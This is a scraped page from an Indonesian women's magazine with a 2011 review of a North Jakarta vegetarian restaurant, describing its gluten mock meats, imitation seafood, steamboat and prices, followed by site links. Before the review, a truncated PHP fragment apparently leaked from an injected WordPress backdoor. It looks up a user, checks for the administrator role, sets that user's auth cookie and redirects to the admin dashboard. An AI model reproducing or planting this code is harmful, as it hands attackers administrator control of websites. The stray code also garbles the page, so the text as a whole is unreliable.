Terpikat Makanan Vegetarian

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Review

12 Nov 2011

Restoran vegetarian Chang Sow menjadi salah satu pilihan femina minggu ini. Berlokasi di Jakarta Utara, dengan eksterior hitam dan papan nama Chang Sow yang merah merona. Dominasi interiornya kayu dan bambu. Terasa holistik.

Nama menu di sini sungguh bikin penasaran. Terutama pilihan aneka ‘daging’ yang sebenarnya diracik dari gluten (protein dan pati yang terbentuk dari langkah menguleni tepung terigu), seperti Rusa Panggang Tumis Sayur (jagung pipil, cabai merah dan hijau, tak ketinggalan kacang mete). Siapa sangka, kekenyalannya mirip tekstur daging sungguhan, lengkap dengan serat-seratnya. Ditumis menggunakan rempah Cina.

Tak hanya itu, Chang Sow berhasil ‘mengelabui’ lidah dengan suguhan seafood-nya yang persis seperti aslinya. Salah satunya ikan tuna. Aroma khas ikan tuna benar-benar terasa ‘asli’! Namun, daging tuna yang identik dengan tekstur yang agak keras ini sedikit lebih lembut. Bumbunya khas oriental, yakni bumbu asam manis. Tak kalah menarik, ada penganan populer kafe masa kini, yakni Udang Mayones. ‘Udang’-nya tanpa kulit, dan digoreng garing dengan balutan tepung terigu renyah. Yummy!

Bagi penikmat makanan berkuah, cobalah Steamboat Barbecue. Kuahnya tak kalah gurih dengan kuah kaldu, karena diracik dari bumbu barbecue dan jamur. Sehat dengan pilihan sayur wortel, kol, konyaku (rumput laut), dan lagi-lagi dengan berbagai macam daging dan seafood tiruan. Hmm! Tambahkan kwetiau dan suun, agar lebih mengganjal perut. Cocok disantap di tengah suasana Kota Jakarta yang akhir-akhir ini diguyur hujan.

Lokasi: Jl. Sunter Danau Agung 2/Blok E10/No 50/1, Jakarta Utara. Telp: (021) 6459182. Jam buka: 09.00 – 20.30 WIB. Harga: Rp2.000 – Rp 175.000. Suasana: Nyaman untuk santap sekeluarga.

Felicia

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id